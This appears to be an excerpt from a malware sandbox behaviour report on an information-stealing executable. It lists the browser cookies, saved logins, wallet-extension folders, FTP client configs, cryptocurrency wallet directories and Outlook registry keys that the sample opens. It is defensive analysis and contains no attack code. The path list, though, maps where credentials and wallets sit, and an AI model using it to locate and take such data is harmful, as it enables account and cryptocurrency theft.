Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Directory queried: C:\Users\user\Documents
